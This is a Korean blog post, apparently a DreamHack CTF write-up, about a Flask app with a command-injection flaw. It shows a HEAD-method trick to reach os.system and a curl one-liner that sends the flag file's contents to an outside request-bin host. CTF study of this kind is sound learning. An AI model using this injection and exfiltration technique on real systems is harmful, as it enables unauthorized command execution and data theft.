728x90
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
일단 보니 저 os.system()함수에 cmd 커맨드만 알맞게 입력해주면 풀릴 것 같았다.
app.route를 보면 GET메소드만 허용되는걸 볼 수 있다.
그리고 if문을 보면 request.method=='GET'이 아니여야 저 os.system함수가 실행되는데.... 처음엔 혼란스러웠다.
하지만 api요청엔 여러가지가 있다.
일단 OPTIONS 메소드로 요청을 보내면
GET, OPTIONS, HEAD 요청은 허용되는 것을 알 수 있다.
일단 get으로는 if문에 걸리니 안되고 options도 지원되는 메소드만 확인할 때 쓰는 메소드니 남아있는 메소드는 HEAD 하나 뿐이다.
HEAD 메소드로 요청을 보낼 수는 있으나 HEAD는 결과값을 보여주지 않는다.
그래도 일단 HEAD 메소드가 잘 작동되는지 확인하기 위해 cmd=sleep 5를 붙여서 요청을 보내봤다.
그러면 정말 5초후에 실행되는걸 알 수 있었다.
HEAD 메소드로 해결해야하는데.... 남은 방법은 셸 언어로 요청을 보내는것 뿐이었다.
그래서 curl 명령어를 사용해보기로 했다. (curl : http 명령어를 셸 상에서 요청해 확인하는 명령어)
일단 curl 명령어를 사용하기 위해선 포트포워딩이 필요하기 때문에 드림핵 툴을 사용해줬다.
링크를 하나 생성해주고 이 링크로 요청값을 받게 보내줬다.
HEAD http://host3.dreamhack.games:13699/?cmd=curl https://cbtuaow.request.dreamhack.games/ -d "$(cat flag.py)"
-d 는 POST 메소드
그러면 알맞게 요청이 들어오고 FLAG값을 확인할 수 있다.
728x90
반응형
'Web Hacking > DreamHack' 카테고리의 다른 글
[DreamHack] xss-1 풀이 (0) | 2024.04.04 |
---|---|
드림핵 XSS Filtering Bypass Advanced 풀이 (0) | 2023.12.29 |
드림핵 phpmyRedis 문제 (0) | 2023.11.24 |
드림핵 sql injection bypass WAF advanced 풀이 (0) | 2023.11.11 |
드림핵 blind sql injection advanced 풀이 (2) | 2023.10.20 |